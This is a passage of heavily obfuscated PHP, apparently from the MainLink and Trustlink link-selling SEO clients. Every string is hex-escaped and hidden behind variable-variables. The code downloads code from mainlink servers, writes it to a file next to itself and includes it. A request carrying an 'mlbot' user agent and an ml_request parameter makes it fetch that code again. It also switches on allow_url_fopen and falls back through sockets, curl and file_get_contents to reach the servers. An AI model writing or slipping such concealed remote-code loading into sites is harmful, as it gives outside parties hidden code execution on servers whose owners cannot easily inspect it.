${"GLO\x42A\x4c\x53"}["\x6djo\x67\x69\x70\x75\x6e\x6bsb"]="\x6f";
if($this->getCode(${${"\x47\x4c\x4fBAL\x53"}["\x6d\x6aog\x69\x70\x75nk\x73\x62"]},$this->code_type))
{
${"GL\x4f\x42\x41L\x53"}["\x61\x65\x6c\x79\x6c\x6d\x72"]="c\x6f\x64\x65\x5ff\x69\x6c\x65";
include_once${${"\x47LO\x42A\x4cS"}["a\x65ly\x6c\x6dr"]};
}
}
${$fhubgymmml}=$this->code_type."T\x72\x61ns\x6dite\x72";
if(class_exists(${$eoumocyi}))
{
${${"GL\x4f\x42\x41L\x53"}["\x69\x77\x75m\x62n\x7a"]}["\x55SE\x52NA\x4dE"]=$this->getUser(${${"\x47\x4c\x4fB\x41\x4cS"}["\x69wu\x6db\x6e\x7a"]});
${"\x47\x4c\x4f\x42A\x4c\x53"}["iy\x72\x6dtj\x6d\x76\x64"]="o";
$cokfqfxhdxr="\x74\x72a\x6e\x73\x6d\x69\x74\x65r\x5fc\x6c\x61\x73\x73";
$this->transmiter=new${$cokfqfxhdxr}(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69yrm\x74\x6a\x6dv\x64"]});
}
}
function build_links()
{
if($this->transmiter!=null)
{
return$this->transmiter->build_links();
}
return"";
}
function getCode($o=array(),$code_type='l')
{
$hgutwyf="\x75serA\x67\x65\x6e\x74";
${"\x47\x4c\x4fB\x41\x4cS"}["l\x6dyh\x69\x67yi\x69i\x76\x70"]="\x63\x6f\x64\x65\x5f\x74\x79\x70\x65";
$inkqhyb="r\x65\x73\x75\x6c\x74";
$ndzvxtolfd="\x68\x61\x6edl\x65";${"\x47LO\x42\x41L\x53"}["\x6b\x70fen\x63\x64"]="f\x70";
$wfpfmxj="\x63\x6f\x6e\x74e\x6e\x74";
$uxuyddmxrq="\x66\x70";
$ixkanhvm="\x63o\x64e\x5f\x66il\x65";
${"\x47L\x4fB\x41\x4c\x53"}["\x6f\x72\x66\x72\x6bq\x63v\x78f\x6b"]="u\x73\x65\x72\x6ea\x6de";
$vrkoxtmwxo="u\x73\x65r\x6e\x61\x6d\x65";
${"\x47L\x4f\x42\x41\x4cS"}["\x6c\x72s\x62t\x72\x65w\x78"]="\x72\x65s\x75\x6c\x74";
${"GL\x4f\x42\x41\x4c\x53"}["\x75\x67v\x74m\x6d\x6a\x78"]="c\x6fde\x5f\x66\x69l\x65";
${$vrkoxtmwxo}=$this->getUser(${${"GLOB\x41\x4cS"}["i\x77\x75m\x62\x6e\x7a"]});
${"\x47L\x4f\x42A\x4cS"}["\x6ba\x69\x69l\x67c"]="c\x6fde\x5f\x66\x69\x6c\x65";
${"\x47\x4cO\x42\x41\x4c\x53"}["c\x65\x70\x64\x6bk\x78\x77vo\x67t"]="\x75\x73\x65r\x6ea\x6d\x65";
${"G\x4cO\x42\x41L\x53"}["\x69q\x6e\x6e\x78\x6dnt\x68q\x79"]="\x6f";
${${"\x47LO\x42\x41\x4c\x53"}["u\x67v\x74\x6dm\x6a\x78"]}=dirname(__FILE__)."/".str_replace("\x25",${${"GL\x4f\x42A\x4c\x53"}["f\x68\x69\x6de\x6c\x64si\x6a\x66g"]},$this->file_code);
if((!file_exists(${$ixkanhvm})&&!file_exists(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x61\x70l\x6bmqyx"]}.".\x6co\x63\x6b"))||(strpos(${$hgutwyf},"mlbo\x74\x2e".${${"\x47\x4c\x4fB\x41LS"}["\x63\x65p\x64\x6b\x6b\x78\x77\x76\x6f\x67\x74"]})!==false&&isset($_GET["m\x6c_\x72e\x71\x75\x65st"])))
{
$dgmxzrotgif="c\x6f\x64e_\x66il\x65";
${"GLOBALS"}["if\x6e\x6c\x6f\x6fw\x65\x75\x6b"]="\x63ode_fi\x6c\x65";
if(!is_writable(dirname(__FILE__)."/"))
{
print"Un\x61\x62le t\x6f \x6c\x6f\x61d \x4da\x69\x6eli\x6ek \x63od\x65\x2e \x44i\x72\x65c\x74ory\x20".realpath(dirname(__FILE__)."/")."\x20\x69s \x6e\x6ft\x20wr\x69\x74e\x61b\x6c\x65\x21";
return false;
}
if(file_exists(${$dgmxzrotgif}."\x2eloc\x6b")&&file_exists(${${"\x47\x4cOB\x41L\x53"}["\x69\x66\x6e\x6c\x6f\x6f\x77\x65\x75\x6b"]}))
{
$ttrnxxchxkoh="f\x69\x6c\x65t\x69\x6d\x65";
${$ttrnxxchxkoh}=filectime(${${"\x47LOB\x41\x4c\x53"}["k\x61\x70\x6c\x6b\x6dqyx"]}."\x2elo\x63\x6b");
${"\x47\x4c\x4fB\x41L\x53"}["p\x64\x72s\x7at\x7a\x6c\x6f\x77v"]="\x66\x69l\x65\x74i\x6d\x65";
if(time()-${${"\x47\x4c\x4f\x42ALS"}["\x70\x64\x72s\x7a\x74\x7a\x6c\x6f\x77v"]}<10)
{
print"<\x21--<\x6dl\x5fupdat\x65>\x66\x61l\x73e: l\x6f\x63k\x65\x64 fo\x72\x20".time()-${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69\x65\x64w\x73\x65\x78\x65\x6ew\x72"]}." sec\x6f\x6e\x64s</\x6dl\x5fup\x64\x61te\x3e--\x3e";
return false;
}
else
{
@unlink(realpath(dirname(__FILE__)."/")."/c\x6f\x72\x65_\x75p\x64\x61\x74e.lo\x63\x6b");
print"\x3c!--\x3cm\x6c\x5fu\x70\x64\x61\x74\x65\x5f\x69n\x66o>true:\x20\x6e\x6fw ".time().", \x6c\x6fck\x65\x64\x20at\x20".${${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x65\x64\x77s\x65\x78e\x6e\x77\x72"]}." \x73e\x63\x6f\x6eds</ml\x5f\x75\x70\x64\x61te\x5fi\x6e\x66\x6f>-->";
return false;
}
}
}
${${"\x47\x4c\x4f\x42\x41LS"}["\x6bpf\x65\x6e\x63\x64"]}=fopen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6b\x61\x70lk\x6d\x71yx"]}."\x2e\x6co\x63\x6b","\x77+");
fwrite(${${"\x47L\x4f\x42ALS"}["c\x78xp\x70\x72\x72"]},time());
$zuqxrkxeuqx="\x63\x6f\x64\x65\x5f\x66i\x6c\x65";
$wrbffykd="\x72e\x73u\x6c\x74";
$onypniy="s\x65\x72\x76\x69c\x65_\x63\x61\x6cl";${"\x47\x4cOB\x41\x4c\x53"}["\x6a\x6a\x72\x72\x73\x77\x62\x79\x67\x6c\x67"]="\x68\x61n\x64\x6ce";
fclose(${$uxuyddmxrq});
${${"\x47L\x4f\x42\x41L\x53"}["f\x68\x69\x6d\x65\x6c\x64\x73\x69j\x66\x67"]}=isset(${${"\x47\x4cOB\x41\x4c\x53"}["i\x71\x6e\x6e\x78\x6d\x6et\x68q\x79"]}["CODE_TYP\x45"])?${${"GL\x4f\x42A\x4cS"}["\x69\x77umb\x6e\x7a"]}["C\x4f\x44E_TY\x50E"]:"\x6c";
${$onypniy}=isset($_GET["\x6d\x6c_\x72\x65q\x75e\x73\x74"])?$_GET["\x6dl\x5f\x72\x65q\x75\x65s\x74"]:"\x63\x61ll";
${${"GL\x4fB\x41\x4c\x53"}["x\x79\x69j\x77\x74\x70\x69"]}=$this->getApi(array("\x67etCo\x64\x65"=>${${"\x47LO\x42\x41\x4cS"}["lm\x79\x68\x69gy\x69i\x69\x76\x70"]},"\x55\x53\x45R\x4eA\x4dE"=>${${"\x47\x4cOB\x41\x4cS"}["o\x72fr\x6b\x71\x63v\x78f\x6b"]},"\x63\x6fde\x42ase"=>"\x70hp",${${"G\x4c\x4f\x42\x41LS"}["\x6d\x65\x76\x62\x68wuq"]}=>true));
@unlink(${$zuqxrkxeuqx}.".\x6c\x6fc\x6b");
${$ndzvxtolfd}=fopen(${${"\x47LOBA\x4c\x53"}["\x6ba\x69ilg\x63"]},"\x77");
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["ms\x70s\x78\x67\x73\x65r\x69g"]}=fwrite(${${"\x47\x4c\x4f\x42\x41LS"}["j\x6a\x72\x72sw\x62\x79\x67\x6cg"]},${$wfpfmxj});
fclose(${${"G\x4c\x4f\x42A\x4cS"}["\x69\x7a\x77\x72\x78\x6c\x6f\x68\x6dw\x74"]});
${${"\x47\x4cO\x42A\x4c\x53"}["l\x72\x73\x62t\x72\x65\x77\x78"]}=${${"\x47\x4cO\x42\x41\x4cS"}["\x6d\x73p\x73\x78\x67\x73e\x72\x69\x67"]}!==false?"t\x72\x75e":"fa\x6cse";
if(!${$wrbffykd}||${${"G\x4c\x4f\x42\x41L\x53"}["\x66f\x61s\x79x\x6c\x64\x6ek\x78"]}=="fal\x73e")
{
$yjsjriui="\x68a\x6e\x64le";
${$yjsjriui}=fopen(${${"\x47L\x4f\x42\x41L\x53"}["k\x61\x70\x6c\x6bm\x71\x79x"]},"w\x62");
if(${${"\x47\x4c\x4fB\x41L\x53"}["iz\x77\x72\x78\x6co\x68\x6d\x77\x74"]})
{
${"\x47L\x4f\x42\x41\x4c\x53"}["\x72fr\x6a\x77tj\x6f\x75"]="\x63\x6f\x6e\x74\x65\x6e\x74";
$kirvhaixuyfy="re\x73\x75\x6ct";
@flock(${${"GL\x4f\x42\x41\x4cS"}["\x69\x7aw\x72\x78loh\x6d\x77\x74"]},LOCK_EX);
${$kirvhaixuyfy}=fwrite(${${"GL\x4f\x42\x41\x4cS"}["iz\x77\x72x\x6cohmw\x74"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x66\x72\x6aw\x74\x6a\x6fu"]});
@flock(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69zw\x72\x78lo\x68m\x77\x74"]},LOCK_UN);
fclose(${${"\x47L\x4fBA\x4c\x53"}["\x69\x7a\x77r\x78\x6c\x6f\x68\x6d\x77\x74"]});
}
}
print"\x3c!--\x3c\x6dl\x5fco\x64\x65_\x73etup\x5f\x72esul\x74>".var_export(${${"\x47L\x4f\x42\x41\x4cS"}["\x66fa\x73\x79xl\x64\x6e\x6bx"]},true)."</m\x6c_\x63\x6fde_set\x75\x70\x5fres\x75\x6c\x74\x3e-->";
return${$inkqhyb};
}
function getUser($o=array())
{
$mrqjynqkzh="\x64i\x72op";
${"\x47LO\x42\x41LS"}["\x6a\x73\x62\x76p\x65\x63\x6e\x63\x65\x63"]="\x6f";
${"\x47\x4c\x4fB\x41\x4cS"}["\x63j\x6f\x67\x72\x63p"]="se\x63\x75\x72e";
${"G\x4cO\x42\x41\x4c\x53"}["gt\x77\x75jj"]="\x73\x65\x63\x75re";
if(isset(${${"G\x4cOB\x41\x4c\x53"}["js\x62v\x70ec\x6ece\x63"]}["\x55S\x45RNAM\x45"])&&strlen(${${"GL\x4f\x42AL\x53"}["\x69\x77u\x6dbn\x7a"]}["\x55S\x45RN\x41ME"])==32)
{
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x65s\x73\x70\x71u\x62h"]="\x6f";
return${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x65\x73s\x70qu\x62\x68"]}["USE\x52\x4eAME"];
}
${$mrqjynqkzh}=opendir(realpath(dirname(__FILE__)));
$icrhjxxwvej="\x64\x69\x72\x6f\x70";${${"\x47\x4c\x4f\x42A\x4c\x53"}["c\x6aogr\x63\x70"]}=false;
if(${$icrhjxxwvej})
{
${"\x47\x4cO\x42\x41LS"}["\x6an\x76\x78ibrw\x76uj"]="f\x69\x6ce";
while(gettype(${${"\x47\x4c\x4f\x42ALS"}["\x6anv\x78\x69\x62\x72wv\x75j"]}=readdir(${${"\x47L\x4f\x42\x41L\x53"}["\x68\x6b\x74\x68d\x69\x69\x70\x72"]}))!="b\x6fo\x6ce\x61n")
{
if(${${"\x47\x4cOB\x41\x4c\x53"}["\x78q\x77\x72\x77u\x75\x72\x75v\x6bn"]}!="."&&${${"GL\x4fB\x41\x4cS"}["\x78\x71w\x72\x77\x75u\x72\x75\x76\x6b\x6e"]}!=".\x2e"&&${${"\x47L\x4f\x42\x41\x4cS"}["\x78q\x77\x72w\x75\x75\x72u\x76\x6bn"]}!=".h\x74a\x63c\x65ss")
{
$vghxowbp="\x66\x69l\x65";
${${"\x47\x4c\x4fB\x41L\x53"}["\x6f\x74\x63\x68l\x78\x6a\x6fs"]}=explode("\x2e",${$vghxowbp});
if(isset(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6ft\x63hl\x78jos"]}[1])and trim(${${"\x47\x4c\x4f\x42A\x4c\x53"}["o\x74ch\x6cx\x6a\x6f\x73"]}[1])=="\x73e\x63")
{
${${"\x47\x4c\x4fB\x41L\x53"}["\x77t\x73\x6cp\x65\x6c\x78\x69"]}=trim(${${"\x47LO\x42\x41LS"}["\x6f\x74ch\x6c\x78\x6a\x6fs"]}[0]);
return${${"\x47L\x4f\x42A\x4cS"}["\x77t\x73\x6c\x70\x65l\x78i"]};
}
}
}
}
return${${"\x47\x4cO\x42A\x4cS"}["\x67\x74\x77\x75\x6a\x6a"]};
}
function getApi($data)
{
$vjdswqwkql="\x73erv\x65\x72s";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x65zmf\x76\x63\x71\x73r\x62"]="\x73erve\x72\x73";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x7amf\x76c\x71s\x72\x62"]}=array("\x6dai\x6e"=>"\x63\x6f\x64e\x73.\x6d\x61i\x6e\x6c\x69\x6e\x6b\x2e\x72\x75","\x72es\x65r\x76e"=>"dc\x6fd\x65s\x2emain\x6c\x69\x6e\x6b\x61ds.\x63\x6f\x6d");
return$this->request(${$vjdswqwkql},"/a\x70i.p\x68\x70",${${"\x47\x4c\x4f\x42\x41L\x53"}["y\x6b\x64\x67c\x6e\x64kj"]},"G\x45T");
}
function request($servers,$file,$data=array(),$method='GET',$timeout=5)
{
${${"\x47LO\x42A\x4c\x53"}["\x65\x75jd\x6bs\x75\x68\x72\x6b"]}=80;
foreach(${${"G\x4cO\x42\x41\x4c\x53"}["\x74ovrn\x78\x6d\x76k\x72t"]} as$host)
{
$ozjvsksl="\x70a\x74h";
$lvbzbvoaks="tm\x70";
${"\x47L\x4f\x42A\x4c\x53"}["w\x74g\x78\x74\x64i"]="m\x65t\x68\x6fd";
${"\x47\x4cO\x42\x41L\x53"}["\x76\x7aups\x64x\x6b"]="\x64\x61t\x61";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x63\x64\x70\x70\x70\x72\x6c\x6dx"]}=${${"\x47L\x4f\x42A\x4cS"}["v\x7a\x75ps\x64\x78k"]};
${"GL\x4fBAL\x53"}["\x62\x63\x7ah\x69\x75\x69yryv"]="pat\x68";
${${"G\x4cOBAL\x53"}["n\x6d\x68w\x6el\x6d\x6a\x63\x6d\x6c"]}=array();
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x73t\x6d\x66\x71\x78"]="\x61\x6es\x77\x65\x72";
foreach(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x67cd\x70\x70p\x72lmx"]} as${${"G\x4cO\x42\x41L\x53"}["\x74\x66\x79k\x64\x6db\x6b\x6fg"]}=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x78i\x71\x71\x77w\x63\x73"]})
{
$qghffe="\x6b";
${"\x47L\x4f\x42\x41\x4cS"}["\x66rq\x6c\x76\x64\x67\x6b\x67t"]="v";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x6dh\x77\x6e\x6cm\x6a\x63\x6d\x6c"]}[]=${$qghffe}."\x3d".urlencode(${${"G\x4c\x4f\x42\x41\x4c\x53"}["fr\x71\x6c\x76\x64\x67\x6b\x67\x74"]});
}
$hppwuvod="\x5fd\x61ta";
${"GL\x4fBA\x4c\x53"}["\x65\x72\x79\x6c\x62ll"]="\x61\x6esw\x65\x72";
$rdynttzuqp="me\x74\x68o\x64";$uroxyrdbsi="r\x65\x71\x75\x65s\x74";
${$hppwuvod}=implode("&",${$lvbzbvoaks});
${${"\x47\x4c\x4f\x42\x41L\x53"}["bc\x7a\x68\x69\x75\x69\x79\x72\x79v"]}=${${"\x47L\x4f\x42A\x4c\x53"}["\x78\x71\x77r\x77u\x75\x72\x75v\x6bn"]};
$jykbspbvi="\x72\x65\x71\x75es\x74";
$skwubolkxk="\x72\x65que\x73\x74";
if(${${"\x47\x4c\x4f\x42\x41LS"}["\x77\x74gxt\x64\x69"]}=="GET"&&${${"\x47L\x4fB\x41LS"}["\x67\x63d\x70\x70\x70rl\x6d\x78"]}!="")
{
${"G\x4c\x4fB\x41\x4c\x53"}["g\x6e\x64jpr\x6f\x64\x61\x6c"]="\x5f\x64\x61\x74a";
$yiqhfe="\x70\x61t\x68";
${$yiqhfe}.="?".${${"\x47LOB\x41LS"}["\x67\x6e\x64\x6a\x70\x72\x6f\x64\x61\x6c"]};
}
${$uroxyrdbsi}=${$rdynttzuqp}." ".${$ozjvsksl}." H\x54TP/1\x2e0\r\n";
${$jykbspbvi}.="Hos\x74: ".$host."\r\n";${${"\x47L\x4f\x42\x41L\x53"}["\x75\x79\x67\x63\x71\x70\x75\x6f\x67\x6e\x6a"]}.="U\x73e\x72-Ag\x65n\x74: Ma\x69nLink\x20code \x36.0\r\n";
${$skwubolkxk}.="Co\x6e\x6ee\x63\x74ion: clo\x73\x65\r\n\r\n";
@ini_set("al\x6cow_u\x72l_\x66\x6f\x70e\x6e",1);
@ini_set("\x64e\x66a\x75\x6ct\x5f\x73o\x63k\x65t_\x74\x69m\x65\x6f\x75\x74",${${"\x47L\x4fB\x41LS"}["ycg\x64tv\x68"]});
@ini_set("\x75\x73\x65\x72_\x61\x67\x65n\x74","\x4dai\x6eL\x69\x6ek\x20i\x6e\x69t co\x64e\x20v\x36");
$bukbyjsf="a\x6e\x73w\x65\x72";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x6ee\x74r\x71\x78d\x68\x77"]="\x61\x6e\x73\x77\x65\x72";
${"GL\x4f\x42\x41L\x53"}["e\x6akh\x72\x63pl"]="\x72";
${${"\x47L\x4f\x42\x41L\x53"}["zx\x69\x61\x62\x68\x63c"]}="";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x79\x6b\x72\x65\x63\x68\x72mc"]}="";
if(function_exists("so\x63\x6b\x65\x74_creat\x65"))
{
$jiyvbz="\x73\x6fc\x6be\x74";
${"\x47L\x4f\x42A\x4c\x53"}["\x68qg\x70\x69\x6f\x6dc"]="\x72\x65\x71\x75\x65s\x74";
${"G\x4cOB\x41L\x53"}["j\x66\x6c\x6ff\x6c\x72"]="\x73\x6f\x63k\x65\x74";
@${${"G\x4c\x4f\x42\x41L\x53"}["k\x62c\x65\x77hct"]}=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);$ysvwqyjrb="\x70o\x72\x74";
$idzlbbrpfzy="\x73oc\x6be\x74";
@socket_set_option(${$jiyvbz},SOL_SOCKET,SO_SNDTIMEO,array("s\x65c"=>${${"\x47\x4cO\x42A\x4cS"}["\x79cg\x64tv\x68"]},"us\x65\x63"=>0));
@socket_connect(${${"G\x4c\x4f\x42ALS"}["\x6a\x66\x6co\x66l\x72"]},$host,${$ysvwqyjrb});
@socket_write(${${"\x47\x4cO\x42AL\x53"}["\x6b\x62cew\x68\x63\x74"]},${${"\x47LO\x42\x41\x4c\x53"}["h\x71\x67\x70\x69om\x63"]});
$rfejccnku="\x61";
${"G\x4cOB\x41L\x53"}["\x66\x73\x73t\x65a\x68\x66\x72"]="\x72\x65\x73p\x6fn\x73\x65";
${"G\x4cO\x42\x41L\x53"}["s\x78\x6d\x62j\x6c\x67q\x68\x76xd"]="\x72e\x73po\x6ese";
while(${$rfejccnku}=@socket_read(${$idzlbbrpfzy},0xFFFF))
{
${${"G\x4c\x4fB\x41\x4cS"}["c\x79k\x72e\x63\x68\x72\x6d\x63"]}.=${${"\x47\x4cO\x42\x41L\x53"}["\x6b\x66\x76x\x69\x68\x62\x66j\x6el\x64"]};
}
${${"\x47\x4c\x4f\x42AL\x53"}["z\x78\x69a\x62\x68cc"]}=(${${"\x47\x4c\x4f\x42A\x4cS"}["f\x73\x73t\x65\x61\x68fr"]}!="")?explode("\r\n\r\n",${${"GL\x4f\x42A\x4cS"}["\x63\x79\x6b\x72\x65c\x68r\x6d\x63"]},2):"";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x78\x6db\x6a\x6c\x67q\x68\x76x\x64"]}="";
}
if(function_exists("\x66so\x63k\x6fp\x65\x6e")&&${${"\x47\x4cOBA\x4c\x53"}["\x7a\x78\x69\x61b\x68\x63\x63"]}=="")
{
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x65uwk\x73d\x75\x77"]="\x72\x65s\x70\x6f\x6e\x73e";
$xnbjtcvj="\x61\x6eswe\x72";
$cibcxzkgpc="\x65\x72\x72\x6e\x6f";
${"\x47\x4c\x4f\x42AL\x53"}["r\x68\x68\x77y\x6dw\x66\x75"]="\x66p";
$gonswdrpitj="r\x65s\x70\x6f\x6e\x73e";
${${"G\x4cOB\x41\x4c\x53"}["r\x68\x68w\x79\x6dw\x66u"]}=@fsockopen($host,${${"G\x4cOB\x41\x4c\x53"}["e\x75\x6a\x64\x6bs\x75\x68\x72\x6b"]},${$cibcxzkgpc},${${"\x47\x4cO\x42\x41\x4cS"}["\x69\x6d\x76\x64pf\x6e\x67"]},${${"GLOBA\x4c\x53"}["\x79\x63\x67\x64\x74v\x68"]});
if(${${"\x47L\x4fB\x41L\x53"}["\x63\x78\x78\x70\x70\x72\x72"]})
{
@fputs(${${"\x47\x4cO\x42\x41\x4cS"}["\x63\x78x\x70\x70\x72\x72"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75\x79g\x63\x71\x70u\x6fg\x6e\x6a"]});
${"G\x4c\x4fB\x41L\x53"}["b\x63\x74\x79\x6bp\x6c\x65"]="\x66p";
$mulzrhzcitv="\x66\x70";
while(!@feof(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x62c\x74\x79k\x70le"]}))
{
${"G\x4c\x4f\x42A\x4cS"}["l\x66gi\x75\x76\x6f\x66\x68y"]="f\x70";${${"\x47\x4c\x4f\x42A\x4c\x53"}["c\x79k\x72\x65ch\x72\x6d\x63"]}.=@fgets(${${"\x47L\x4f\x42A\x4cS"}["\x6c\x66\x67\x69\x75vo\x66\x68y"]},0xFFFF);
}
@fclose(${$mulzrhzcitv});
}
${$xnbjtcvj}=(${${"GL\x4fB\x41\x4c\x53"}["c\x79\x6b\x72ec\x68\x72\x6d\x63"]}!="")?explode("\r\n\r\n",${${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x65\x75wk\x73\x64\x75\x77"]},2):"";
${$gonswdrpitj}="";
}
if(function_exists("\x63\x75\x72l\x5f\x69\x6e\x69t")&&${${"\x47\x4c\x4fBA\x4c\x53"}["\x70\x74\x64\x7a\x73\x7a\x75\x78"]}=@curl_init()&&${${"\x47\x4c\x4f\x42\x41\x4cS"}["c\x73\x74m\x66\x71x"]}=="")
{
${"\x47\x4c\x4f\x42\x41L\x53"}["o\x62\x75\x75\x6e\x76\x76\x6f\x76\x6bu"]="\x61\x6e\x73\x77\x65r";
${"\x47\x4cO\x42\x41L\x53"}["\x6c\x66\x77\x70yob\x77\x73\x6c\x72"]="\x70a\x74\x68";
@curl_setopt(${${"\x47LOBA\x4cS"}["\x70t\x64\x7a\x73\x7au\x78"]},CURLOPT_URL,"\x68\x74\x74p://".$host.${${"G\x4c\x4fB\x41\x4c\x53"}["\x6c\x66\x77\x70\x79\x6fbw\x73lr"]});
${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x79\x62pr\x76d"]="c\x68";
${"GLO\x42\x41\x4c\x53"}["i\x6d\x6dp\x74\x79\x74j"]="ch";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6b\x66\x6b\x65\x6d\x73\x77\x69"]="res\x70\x6f\x6e\x73e";
@curl_setopt(${${"\x47L\x4f\x42\x41LS"}["\x70\x74\x64z\x73\x7a\x75x"]},CURLOPT_HEADER,true);
$ctqslwus="\x63\x68";${"\x47\x4cOB\x41\x4c\x53"}["\x64\x68f\x72\x65\x70"]="\x72e\x73\x70o\x6e\x73\x65";
@curl_setopt(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6e\x79b\x70rv\x64"]},CURLOPT_RETURNTRANSFER,true);
${"\x47\x4cO\x42\x41\x4c\x53"}["n\x68\x6b\x79\x66\x74\x66u\x79"]="\x72\x65\x73\x70\x6f\x6ese";
${"G\x4cOB\x41\x4c\x53"}["\x6d\x64\x67\x63h\x65y"]="c\x68";
@curl_setopt(${${"\x47\x4cOB\x41\x4c\x53"}["\x70\x74\x64z\x73z\x75\x78"]},CURLOPT_CONNECTTIMEOUT,${${"G\x4c\x4f\x42\x41\x4c\x53"}["y\x63g\x64t\x76\x68"]});
@curl_setopt(${$ctqslwus},CURLOPT_USERAGENT,"\x4dain\x4ci\x6e\x6b \x69\x6e\x69t c\x6f\x64e \x76\x36");
${${"\x47\x4c\x4fB\x41\x4cS"}["k\x66\x6b\x65ms\x77i"]}=@curl_exec(${${"GL\x4f\x42AL\x53"}["\x69\x6dmpt\x79\x74\x6a"]});
${${"\x47\x4cOBA\x4cS"}["\x6f\x62u\x75n\x76\x76\x6f\x76\x6bu"]}=(${${"\x47LO\x42\x41LS"}["\x64h\x66\x72ep"]}!="")?explode("\r\n\r\n",${${"\x47LO\x42\x41\x4c\x53"}["\x6e\x68\x6b\x79f\x74\x66\x75y"]},2):"";
${${"\x47L\x4f\x42A\x4cS"}["cyk\x72e\x63\x68\x72\x6d\x63"]}="";
@curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x64\x67\x63h\x65y"]});
}
if(function_exists("f\x69\x6ce\x5f\x67\x65\x74\x5fc\x6f\x6e\x74\x65\x6ets")&&ini_get("\x61ll\x6f\x77_\x75\x72\x6c\x5ff\x6fpen")==1&&${${"GLO\x42AL\x53"}["\x65\x72\x79\x6cbl\x6c"]}=="")
{
${${"G\x4cOBAL\x53"}["c\x79\x6br\x65ch\x72\x6d\x63"]}=@file_get_contents("h\x74tp://".$host.${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64l\x66\x70kq\x6a\x61\x66\x72\x74d"]});
${${"\x47\x4cO\x42A\x4c\x53"}["\x7a\x78ia\x62h\x63\x63"]}[1]=(${${"GL\x4f\x42\x41\x4c\x53"}["cy\x6b\x72\x65\x63\x68r\x6d\x63"]}!="")?${${"\x47LO\x42\x41\x4c\x53"}["c\x79\x6br\x65c\x68\x72\x6d\x63"]}:"";
}
if(${${"\x47\x4c\x4fB\x41\x4cS"}["n\x65t\x72\x71xdh\x77"]}[1]!=""&&preg_match("/\x66i\x6c\x65:\x27(\x2e*?)\x27/",${${"GL\x4f\x42\x41\x4c\x53"}["\x7axi\x61\x62\x68\x63c"]}[1],${${"G\x4cOB\x41\x4c\x53"}["\x65\x6a\x6b\x68r\x63p\x6c"]}))
{
if(isset(${${"\x47\x4c\x4f\x42\x41L\x53"}["uxu\x75i\x6b\x61\x6b\x61h\x64"]}[1]))
{
${"\x47\x4cOB\x41\x4c\x53"}["hj\x6dxh\x78\x76"]="\x61n\x73\x77\x65\x72";
${${"\x47\x4cO\x42A\x4cS"}["hj\x6dx\x68xv"]}=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x78\x75ui\x6b\x61\x6ba\x68\x64"]}[1];
$bvptsbbzs="\x63";
${${"\x47L\x4f\x42\x41L\x53"}["\x71s\x79z\x72\x6b\x66erk\x75"]}=base64_decode(${${"\x47\x4cO\x42AL\x53"}["\x7ax\x69\x61b\x68\x63\x63"]});
if(${$bvptsbbzs})
{
return${${"\x47\x4cO\x42\x41L\x53"}["\x71\x73\x79z\x72k\x66er\x6b\x75"]};
}
return${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x7ax\x69\x61\x62hcc"]};
}
}
if(${$bukbyjsf}[1]!="")
{
$oeiqomiv="\x61\x6e\x73\x77e\x72";
return${$oeiqomiv}[1];
}
}
return"<!--\x45\x52ROR:\x20Una\x62le \x74\x6f\x20u\x73e tr\x61\x6espo\x72t.-->";
}
}
class TrustlinkClient
{
var$tl_version='T0.4.7';
var$tl_verbose=false;
var$tl_cache=false;
var$tl_cache_size=10;
var$tl_cache_dir='cache/';
var$tl_cache_filename='trustlink.links';
var$tl_cache_cluster=0;
var$tl_cache_update=false;
var$tl_debug=false;
var$tl_isrobot=false;
var$tl_test=false;
var$tl_test_count=4;
var$tl_template='false_unit';
var$tl_charset='UTF-8';
var$tl_use_ssl=false;
var$tl_server='db.trustlink.ru';
var$tl_cache_lifetime=3600;
var$tl_cache_reloadtime=300;
var$tl_links_db_file='';
var$tl_links=array();
var$tl_links_page=array();
var$tl_error='';var$tl_host='';
var$tl_request_uri='';
var$tl_fetch_remote_type='';
var$tl_socket_timeout=6;
var$tl_force_show_code=false;
var$tl_multi_site=false;
var$tl_is_static=false;
function TrustlinkClient($options=null)
{
$mgdkghmch="\x6f\x70t\x69\x6fn\x73";
$host="";
${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67\x77\x74\x6c\x6f\x76dd\x7a"]="\x6f\x70t\x69\x6fns";
$jivulmyelu="\x6fpti\x6f\x6es";
if(is_array(${${"G\x4c\x4fBALS"}["w\x69\x76\x78\x76\x65d\x63"]}))
{
if(isset(${${"\x47\x4c\x4fBA\x4cS"}["\x77\x69\x76\x78v\x65\x64\x63"]}["ho\x73\x74"]))
{
$veisodvvut="\x6fp\x74\x69\x6f\x6e\x73";
$host=${$veisodvvut}["\x68os\x74"];
}
}
elseif(strlen(${${"GLOB\x41\x4cS"}["w\x69\x76x\x76\x65d\x63"]})!=0)
{
